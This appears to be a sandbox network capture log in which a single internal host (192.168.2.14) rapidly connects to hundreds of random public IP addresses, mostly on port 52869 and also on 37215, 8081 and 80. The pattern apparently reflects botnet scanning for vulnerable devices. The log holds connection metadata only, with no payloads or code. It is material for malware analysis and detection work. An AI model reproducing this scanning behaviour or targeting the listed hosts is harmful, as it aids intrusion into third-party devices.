Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	167.104.68.83
Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	65.62.163.155
Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	86.50.252.3
Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	95.168.253.92
Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	75.14.227.112
Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	180.45.107.118
Jul 20, 2024 23:01:05.298916101 CEST	49909	52869	192.168.2.14	200.4.116.161
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	167.164.212.12
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	154.138.92.119
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	44.220.47.63
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	23.51.177.158
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	188.8.153.74
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	194.40.181.124
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	173.150.51.24
Jul 20, 2024 23:01:05.300620079 CEST	49909	52869	192.168.2.14	111.129.154.195
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	9.82.131.248
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	60.255.146.10
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	221.54.61.91
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	121.112.177.25
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	65.226.206.127
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	148.179.39.78
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	105.86.173.170
Jul 20, 2024 23:01:05.300762892 CEST	49909	52869	192.168.2.14	203.132.130.122
Jul 20, 2024 23:01:05.301338911 CEST	52869	34388	34.37.107.29	192.168.2.14
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	66.1.195.152
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	161.106.172.225
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	110.189.3.161
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	90.130.170.85
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	217.176.17.32
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	140.33.61.63
Jul 20, 2024 23:01:05.301348925 CEST	49909	52869	192.168.2.14	8.25.158.124
Jul 20, 2024 23:01:05.301755905 CEST	49909	52869	192.168.2.14	201.170.103.141
Jul 20, 2024 23:01:05.301755905 CEST	49909	52869	192.168.2.14	39.69.127.120
Jul 20, 2024 23:01:05.301755905 CEST	49909	52869	192.168.2.14	76.53.27.166
Jul 20, 2024 23:01:05.301755905 CEST	49909	52869	192.168.2.14	75.153.36.129
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	100.220.55.173
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	4.31.63.227
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	139.183.197.42
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	37.187.42.187
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	160.198.230.158
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	69.19.204.180
Jul 20, 2024 23:01:05.304392099 CEST	49909	52869	192.168.2.14	114.99.9.89
Jul 20, 2024 23:01:05.304876089 CEST	49909	52869	192.168.2.14	131.110.13.188
Jul 20, 2024 23:01:05.304877043 CEST	49909	52869	192.168.2.14	18.53.198.50
Jul 20, 2024 23:01:05.304877043 CEST	49909	52869	192.168.2.14	113.196.250.71
Jul 20, 2024 23:01:05.304877043 CEST	49909	52869	192.168.2.14	23.211.174.15
Jul 20, 2024 23:01:05.304877043 CEST	49909	52869	192.168.2.14	51.107.159.10
Jul 20, 2024 23:01:05.304877043 CEST	49909	52869	192.168.2.14	217.203.74.212
Jul 20, 2024 23:01:05.304877043 CEST	49909	52869	192.168.2.14	20.29.28.88
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	92.173.106.240
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	220.250.43.126
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	43.235.72.144
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	190.245.118.15
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	43.51.211.247
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	220.193.140.34
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	196.5.94.156
Jul 20, 2024 23:01:05.305483103 CEST	49909	52869	192.168.2.14	129.23.176.87
Jul 20, 2024 23:01:05.306526899 CEST	49909	52869	192.168.2.14	104.175.3.45
Jul 20, 2024 23:01:05.306628942 CEST	49909	52869	192.168.2.14	219.255.19.116
Jul 20, 2024 23:01:05.306628942 CEST	49909	52869	192.168.2.14	202.218.75.66
Jul 20, 2024 23:01:05.306628942 CEST	49909	52869	192.168.2.14	125.56.77.208
Jul 20, 2024 23:01:05.306628942 CEST	49909	52869	192.168.2.14	154.4.196.205
Jul 20, 2024 23:01:05.306628942 CEST	49909	52869	192.168.2.14	151.37.149.195
Jul 20, 2024 23:01:05.306629896 CEST	49909	52869	192.168.2.14	155.121.79.91
Jul 20, 2024 23:01:05.306629896 CEST	56778	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:05.307235003 CEST	49909	52869	192.168.2.14	38.25.48.248
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	99.236.233.228
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	188.15.62.114
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	102.44.243.156
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	60.41.89.134
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	116.57.101.150
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	87.96.32.169
Jul 20, 2024 23:01:05.307235956 CEST	49909	52869	192.168.2.14	126.147.96.210
Jul 20, 2024 23:01:05.307688951 CEST	49909	52869	192.168.2.14	38.58.119.18
Jul 20, 2024 23:01:05.307688951 CEST	49909	52869	192.168.2.14	83.121.64.87
Jul 20, 2024 23:01:05.309176922 CEST	55814	37215	192.168.2.14	197.198.173.107
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	126.197.204.144
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	17.53.104.31
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	68.26.110.69
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	31.224.15.77
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	36.182.8.231
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	37.253.201.160
Jul 20, 2024 23:01:05.310715914 CEST	49909	52869	192.168.2.14	198.100.76.211
Jul 20, 2024 23:01:05.310813904 CEST	49909	52869	192.168.2.14	34.130.168.131
Jul 20, 2024 23:01:05.310813904 CEST	49909	52869	192.168.2.14	8.218.35.233
Jul 20, 2024 23:01:05.310813904 CEST	49909	52869	192.168.2.14	195.59.88.124
Jul 20, 2024 23:01:05.310815096 CEST	49909	52869	192.168.2.14	45.75.56.176
Jul 20, 2024 23:01:05.311712980 CEST	49909	52869	192.168.2.14	206.51.158.23
Jul 20, 2024 23:01:05.311712980 CEST	49909	52869	192.168.2.14	82.68.74.176
Jul 20, 2024 23:01:05.311712980 CEST	49909	52869	192.168.2.14	104.23.38.250
Jul 20, 2024 23:01:05.312720060 CEST	33974	8081	192.168.2.14	218.9.118.15
Jul 20, 2024 23:01:05.313111067 CEST	49909	52869	192.168.2.14	67.242.162.148
Jul 20, 2024 23:01:05.313111067 CEST	49909	52869	192.168.2.14	44.191.77.200
Jul 20, 2024 23:01:05.313111067 CEST	49909	52869	192.168.2.14	149.226.29.145
Jul 20, 2024 23:01:05.313111067 CEST	49909	52869	192.168.2.14	85.129.106.84
Jul 20, 2024 23:01:05.322670937 CEST	49909	52869	192.168.2.14	175.183.122.64
Jul 20, 2024 23:01:05.322670937 CEST	49909	52869	192.168.2.14	99.175.215.170
Jul 20, 2024 23:01:05.324012995 CEST	8081	33974	218.9.118.15	192.168.2.14
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	157.70.243.154
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	217.52.41.239
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	14.39.170.20
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	155.122.148.221
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	207.249.105.233
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	37.246.132.110
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	94.183.77.238
Jul 20, 2024 23:01:05.324311018 CEST	49909	52869	192.168.2.14	116.69.67.92
Jul 20, 2024 23:01:05.324942112 CEST	49909	52869	192.168.2.14	120.215.85.109
Jul 20, 2024 23:01:05.324943066 CEST	49909	52869	192.168.2.14	82.38.133.160
Jul 20, 2024 23:01:05.324943066 CEST	49909	52869	192.168.2.14	187.152.147.14
Jul 20, 2024 23:01:05.324943066 CEST	47550	37215	192.168.2.14	221.232.156.2
Jul 20, 2024 23:01:05.324943066 CEST	49909	52869	192.168.2.14	193.75.43.205
Jul 20, 2024 23:01:05.324943066 CEST	49909	52869	192.168.2.14	23.80.210.66
Jul 20, 2024 23:01:05.324943066 CEST	49909	52869	192.168.2.14	80.2.14.227
Jul 20, 2024 23:01:05.327279091 CEST	49909	52869	192.168.2.14	190.11.73.82
Jul 20, 2024 23:01:05.327279091 CEST	49909	52869	192.168.2.14	211.238.81.24
Jul 20, 2024 23:01:05.327279091 CEST	49909	52869	192.168.2.14	133.170.242.124
Jul 20, 2024 23:01:05.327279091 CEST	49909	52869	192.168.2.14	82.244.171.48
Jul 20, 2024 23:01:05.327280045 CEST	49909	52869	192.168.2.14	162.49.11.69
Jul 20, 2024 23:01:05.327280045 CEST	49909	52869	192.168.2.14	124.200.150.194
Jul 20, 2024 23:01:05.327280045 CEST	49909	52869	192.168.2.14	173.104.241.88
Jul 20, 2024 23:01:05.327280045 CEST	49909	52869	192.168.2.14	73.228.247.97
Jul 20, 2024 23:01:05.327893972 CEST	49909	52869	192.168.2.14	46.188.92.137
Jul 20, 2024 23:01:05.327893972 CEST	49909	52869	192.168.2.14	208.29.17.18
Jul 20, 2024 23:01:05.327893972 CEST	49909	52869	192.168.2.14	173.42.249.13
Jul 20, 2024 23:01:05.327893972 CEST	49909	52869	192.168.2.14	137.65.44.136
Jul 20, 2024 23:01:05.327893972 CEST	39618	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:05.328385115 CEST	49909	52869	192.168.2.14	37.9.185.102
Jul 20, 2024 23:01:05.331645966 CEST	49909	52869	192.168.2.14	31.22.183.58
Jul 20, 2024 23:01:05.331645966 CEST	49909	52869	192.168.2.14	71.90.2.192
Jul 20, 2024 23:01:05.334929943 CEST	49909	52869	192.168.2.14	204.46.85.1
Jul 20, 2024 23:01:05.334929943 CEST	49909	52869	192.168.2.14	2.200.2.185
Jul 20, 2024 23:01:05.334929943 CEST	49909	52869	192.168.2.14	188.123.100.200
Jul 20, 2024 23:01:05.338675976 CEST	49909	52869	192.168.2.14	84.205.206.134
Jul 20, 2024 23:01:05.338675976 CEST	49909	52869	192.168.2.14	8.143.205.222
Jul 20, 2024 23:01:05.338675976 CEST	49909	52869	192.168.2.14	160.234.153.88
Jul 20, 2024 23:01:05.340404034 CEST	49909	52869	192.168.2.14	166.44.197.136
Jul 20, 2024 23:01:05.340404034 CEST	49909	52869	192.168.2.14	149.97.75.135
Jul 20, 2024 23:01:05.340404034 CEST	49909	52869	192.168.2.14	110.17.198.51
Jul 20, 2024 23:01:05.340404034 CEST	49909	52869	192.168.2.14	60.79.52.246
Jul 20, 2024 23:01:05.340404034 CEST	49909	52869	192.168.2.14	24.64.227.107
Jul 20, 2024 23:01:05.343955040 CEST	49909	52869	192.168.2.14	87.189.78.45
Jul 20, 2024 23:01:05.343955040 CEST	49909	52869	192.168.2.14	151.201.97.102
Jul 20, 2024 23:01:05.343955040 CEST	49909	52869	192.168.2.14	46.76.84.240
Jul 20, 2024 23:01:05.343955040 CEST	49909	52869	192.168.2.14	35.129.134.57
Jul 20, 2024 23:01:05.343955040 CEST	49909	52869	192.168.2.14	79.60.75.89
Jul 20, 2024 23:01:05.343955994 CEST	49909	52869	192.168.2.14	79.183.7.209
Jul 20, 2024 23:01:05.344319105 CEST	49909	52869	192.168.2.14	202.40.219.63
Jul 20, 2024 23:01:05.345686913 CEST	49909	52869	192.168.2.14	64.249.135.120
Jul 20, 2024 23:01:05.345686913 CEST	49909	52869	192.168.2.14	53.25.250.98
Jul 20, 2024 23:01:05.345686913 CEST	49909	52869	192.168.2.14	205.151.43.170
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	12.235.139.129
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	141.17.161.92
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	138.79.113.156
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	20.143.1.147
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	156.208.189.125
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	91.145.237.124
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	195.200.76.232
Jul 20, 2024 23:01:05.347464085 CEST	49909	52869	192.168.2.14	78.203.34.52
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	50.46.187.211
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	117.183.126.226
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	163.7.74.3
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	25.92.200.252
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	212.220.91.246
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	156.47.208.156
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	42.108.97.153
Jul 20, 2024 23:01:05.348254919 CEST	49909	52869	192.168.2.14	98.101.40.253
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	105.148.195.43
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	130.47.227.172
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	193.116.164.76
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	8.61.66.253
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	165.160.174.213
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	222.56.69.190
Jul 20, 2024 23:01:05.348794937 CEST	49909	52869	192.168.2.14	42.181.108.76
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	45.156.173.48
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	203.165.241.204
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	139.226.186.104
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	49.165.7.121
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	123.214.54.164
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	4.62.101.190
Jul 20, 2024 23:01:05.349977970 CEST	49909	52869	192.168.2.14	162.5.136.13
Jul 20, 2024 23:01:05.350682020 CEST	49909	52869	192.168.2.14	118.153.189.16
Jul 20, 2024 23:01:05.350682020 CEST	49909	52869	192.168.2.14	220.5.187.87
Jul 20, 2024 23:01:05.350682020 CEST	49909	52869	192.168.2.14	177.103.155.193
Jul 20, 2024 23:01:05.350682020 CEST	49909	52869	192.168.2.14	161.83.3.216
Jul 20, 2024 23:01:05.350682020 CEST	58476	8081	192.168.2.14	158.9.61.147
Jul 20, 2024 23:01:05.350682020 CEST	49909	52869	192.168.2.14	99.77.74.64
Jul 20, 2024 23:01:05.353823900 CEST	42736	80	192.168.2.14	88.52.198.182
Jul 20, 2024 23:01:05.360586882 CEST	49909	52869	192.168.2.14	190.138.126.165
Jul 20, 2024 23:01:05.360586882 CEST	49909	52869	192.168.2.14	62.159.184.30
Jul 20, 2024 23:01:05.360586882 CEST	49909	52869	192.168.2.14	206.66.80.130
Jul 20, 2024 23:01:05.360586882 CEST	49909	52869	192.168.2.14	98.223.144.187
Jul 20, 2024 23:01:05.362164021 CEST	49909	52869	192.168.2.14	140.41.150.3
Jul 20, 2024 23:01:05.362164021 CEST	49909	52869	192.168.2.14	152.82.76.143
Jul 20, 2024 23:01:05.362164021 CEST	49909	52869	192.168.2.14	86.87.254.178
Jul 20, 2024 23:01:05.362164021 CEST	49909	52869	192.168.2.14	105.163.125.86
Jul 20, 2024 23:01:05.362164021 CEST	49909	52869	192.168.2.14	165.19.21.100
Jul 20, 2024 23:01:05.362164021 CEST	49909	52869	192.168.2.14	80.62.19.100
Jul 20, 2024 23:01:05.363087893 CEST	80	42736	88.52.198.182	192.168.2.14
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	43.146.245.183
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	103.116.144.94
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	178.225.90.229
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	80.170.128.93
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	18.228.41.4
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	95.238.106.212
Jul 20, 2024 23:01:05.365029097 CEST	49909	52869	192.168.2.14	192.108.215.227
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	99.165.217.62
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	221.104.47.236
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	197.250.139.15
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	17.127.77.198
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	32.147.2.176
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	148.210.20.207
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	192.14.151.136
Jul 20, 2024 23:01:05.366527081 CEST	49909	52869	192.168.2.14	199.3.182.126
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	105.220.126.113
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	147.210.209.142
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	49.188.84.130
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	204.109.236.200
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	37.86.161.63
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	84.2.220.44
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	82.101.77.8
Jul 20, 2024 23:01:05.367209911 CEST	49909	52869	192.168.2.14	203.21.243.102
Jul 20, 2024 23:01:05.367289066 CEST	49909	52869	192.168.2.14	204.200.102.242
Jul 20, 2024 23:01:05.367289066 CEST	49909	52869	192.168.2.14	138.73.67.155
Jul 20, 2024 23:01:05.367289066 CEST	49909	52869	192.168.2.14	105.196.227.30
Jul 20, 2024 23:01:05.367289066 CEST	49909	52869	192.168.2.14	67.93.133.34
Jul 20, 2024 23:01:05.367289066 CEST	49909	52869	192.168.2.14	158.246.105.92
Jul 20, 2024 23:01:05.367600918 CEST	49909	52869	192.168.2.14	1.95.36.129
Jul 20, 2024 23:01:05.367600918 CEST	39606	8081	192.168.2.14	53.112.237.25
Jul 20, 2024 23:01:05.367600918 CEST	49909	52869	192.168.2.14	104.70.236.97
Jul 20, 2024 23:01:05.367600918 CEST	49909	52869	192.168.2.14	151.200.89.203
Jul 20, 2024 23:01:05.367600918 CEST	49909	52869	192.168.2.14	167.136.136.222
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	183.47.141.185
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	124.166.152.231
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	126.246.250.210
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	190.118.229.95
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	50.56.193.31
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	25.160.243.163
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	102.83.219.251
Jul 20, 2024 23:01:05.368107080 CEST	49909	52869	192.168.2.14	75.212.116.41
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	83.209.66.154
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	36.41.177.112
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	122.213.228.115
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	219.141.33.78
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	66.227.32.28
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	75.223.60.203
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	52.95.130.222
Jul 20, 2024 23:01:05.369349003 CEST	49909	52869	192.168.2.14	180.0.141.149
Jul 20, 2024 23:01:05.369738102 CEST	49909	52869	192.168.2.14	65.205.122.129
Jul 20, 2024 23:01:05.369738102 CEST	49909	52869	192.168.2.14	107.74.184.185
Jul 20, 2024 23:01:05.369739056 CEST	49909	52869	192.168.2.14	156.173.62.34
Jul 20, 2024 23:01:05.369739056 CEST	49909	52869	192.168.2.14	204.106.156.191
Jul 20, 2024 23:01:05.369739056 CEST	49909	52869	192.168.2.14	177.219.164.195
Jul 20, 2024 23:01:05.369739056 CEST	49909	52869	192.168.2.14	184.116.202.217
Jul 20, 2024 23:01:05.369739056 CEST	49909	52869	192.168.2.14	170.245.73.71
Jul 20, 2024 23:01:05.369739056 CEST	49909	52869	192.168.2.14	102.128.31.96
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	95.110.227.75
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	136.251.160.154
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	198.178.223.150
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	192.90.104.28
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	73.3.59.158
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	176.35.15.154
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	170.47.209.95
Jul 20, 2024 23:01:05.369847059 CEST	49909	52869	192.168.2.14	210.64.179.3
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	138.224.141.153
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	185.35.82.87
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	132.246.189.237
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	47.100.129.241
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	141.35.51.88
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	34.7.111.142
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	212.156.7.166
Jul 20, 2024 23:01:05.371330976 CEST	49909	52869	192.168.2.14	72.106.64.142
Jul 20, 2024 23:01:05.371989012 CEST	49909	52869	192.168.2.14	52.117.49.149
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	180.253.214.186
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	54.175.191.239
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	149.76.159.29
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	80.5.244.181
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	187.175.61.217
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	39.58.238.111
Jul 20, 2024 23:01:05.371989965 CEST	49909	52869	192.168.2.14	206.184.34.8
Jul 20, 2024 23:01:05.372304916 CEST	49909	52869	192.168.2.14	194.167.152.12
Jul 20, 2024 23:01:05.372304916 CEST	49909	52869	192.168.2.14	88.173.128.24
Jul 20, 2024 23:01:05.372304916 CEST	49909	52869	192.168.2.14	82.237.82.114
Jul 20, 2024 23:01:05.372304916 CEST	49909	52869	192.168.2.14	98.254.82.225
Jul 20, 2024 23:01:05.372304916 CEST	49909	52869	192.168.2.14	89.121.35.253
Jul 20, 2024 23:01:05.372306108 CEST	49909	52869	192.168.2.14	220.185.172.253
Jul 20, 2024 23:01:05.372306108 CEST	49909	52869	192.168.2.14	160.31.231.212
Jul 20, 2024 23:01:05.372306108 CEST	49909	52869	192.168.2.14	48.20.196.155
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	8.147.220.100
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	221.212.45.160
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	41.222.223.79
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	68.163.135.8
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	213.190.102.254
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	116.185.233.83
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	193.178.115.241
Jul 20, 2024 23:01:05.373955011 CEST	49909	52869	192.168.2.14	104.215.148.197
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	194.110.136.139
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	88.183.140.149
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	101.101.177.227
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	99.74.140.118
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	115.123.167.73
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	31.17.169.183
Jul 20, 2024 23:01:05.374495029 CEST	49909	52869	192.168.2.14	182.204.223.220
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	31.163.126.14
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	198.70.195.28
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	147.202.215.55
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	183.167.63.95
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	91.164.35.152
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	145.140.99.8
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	208.90.179.174
Jul 20, 2024 23:01:05.375045061 CEST	49909	52869	192.168.2.14	142.104.231.210
Jul 20, 2024 23:01:05.375061035 CEST	33974	8081	192.168.2.14	218.9.118.15
Jul 20, 2024 23:01:05.375495911 CEST	49909	52869	192.168.2.14	113.18.64.233
Jul 20, 2024 23:01:05.375495911 CEST	49909	52869	192.168.2.14	194.10.157.86
Jul 20, 2024 23:01:05.375495911 CEST	49909	52869	192.168.2.14	121.225.239.95
Jul 20, 2024 23:01:05.375495911 CEST	49909	52869	192.168.2.14	141.13.4.15
Jul 20, 2024 23:01:05.375497103 CEST	49909	52869	192.168.2.14	194.182.45.188
Jul 20, 2024 23:01:05.376328945 CEST	49909	52869	192.168.2.14	43.128.171.81
Jul 20, 2024 23:01:05.376328945 CEST	49909	52869	192.168.2.14	192.91.46.224
Jul 20, 2024 23:01:05.376328945 CEST	49909	52869	192.168.2.14	9.127.156.104
Jul 20, 2024 23:01:05.376328945 CEST	49909	52869	192.168.2.14	86.218.2.126
Jul 20, 2024 23:01:05.376328945 CEST	49909	52869	192.168.2.14	61.199.139.143
Jul 20, 2024 23:01:05.376328945 CEST	49909	52869	192.168.2.14	43.170.164.184
Jul 20, 2024 23:01:05.376328945 CEST	48266	8081	192.168.2.14	12.33.225.1
Jul 20, 2024 23:01:05.376329899 CEST	49909	52869	192.168.2.14	78.61.124.52
Jul 20, 2024 23:01:05.377360106 CEST	49909	52869	192.168.2.14	57.84.67.141
Jul 20, 2024 23:01:05.377360106 CEST	49909	52869	192.168.2.14	38.72.255.46
